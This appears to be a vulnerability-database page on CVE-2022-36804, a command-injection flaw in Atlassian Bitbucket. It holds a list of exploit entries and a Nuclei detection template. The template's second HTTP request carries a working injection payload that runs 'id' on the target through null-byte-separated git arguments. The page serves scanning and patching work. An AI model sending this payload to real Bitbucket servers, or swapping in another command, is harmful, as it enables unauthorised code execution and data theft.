| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| Exploit for Argument Injection in Atlassian Bitbucket | 24 Sep 202205:04 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 26 Feb 202620:42 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 20 Sep 202202:35 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 20 Sep 202201:30 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 20 Sep 202202:35 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 23 Jan 202312:51 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 23 Sep 202211:05 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 25 Sep 202213:16 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 30 Jan 202515:52 | – | githubexploit | |
| Exploit for Argument Injection in Atlassian Bitbucket | 19 Sep 202213:15 | – | githubexploit |
id: CVE-2022-36804
info:
name: Atlassian Bitbucket - Remote Command Injection
author: DhiyaneshDk,tess,sullo
severity: high
description: |
Atlassian Bitbucket Server and Data Center is susceptible to remote command injection. Multiple API endpoints can allow an attacker with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request, thus making it possible to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
remediation: |
Apply the latest security patches provided by Atlassian to mitigate the vulnerability.
reference:
- https://github.com/notdls/CVE-2022-36804
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
- https://jira.atlassian.com/browse/BSERV-13438
- https://nvd.nist.gov/vuln/detail/CVE-2022-36804
- http://packetstormsecurity.com/files/171453/Bitbucket-7.0.0-Remote-Command-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-36804
cwe-id: CWE-77
epss-score: 0.944
epss-percentile: 0.99977
cpe: cpe:2.3:a:atlassian:bitbucket:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: atlassian
product: bitbucket
shodan-query: http.component:"BitBucket"
tags: cve,cve2022,packetstorm,bitbucket,atlassian,kev,vkev,vuln
variables:
data: '{{rand_base(5)}}'
http:
- raw:
- |
GET /rest/api/latest/repos HTTP/1.1
Host: {{Hostname}}
- |
GET /rest/api/latest/projects/{{key}}/repos/{{slug}}/archive?filename={{data}}&at={{data}}&path={{data}}&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
iterate-all: true
matchers-condition: and
matchers:
- type: word
words:
- "com.atlassian.bitbucket.scm.CommandFailedException"
- type: status
status:
- 500
extractors:
- type: json # type of the extractor
name: key
internal: true
json:
- '.["values"] | .[] | .["project"] | .key'
part: body
- type: json
name: slug
internal: true
json:
- '.["values"] | .[] | .slug'
part: body
- type: regex
group: 1
regex:
- 'uid=.*\(([a-z]+)\):'
# digest: 4a0a00473045022100e5a13b6d1b00c406abc260e2dbe4b48e417a9330b7b296cc64a918b803aeeb4e02205ed7bbaef64ea281ddea2b3052b4796ee93723eae8c652f583162c5958e3ea03:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation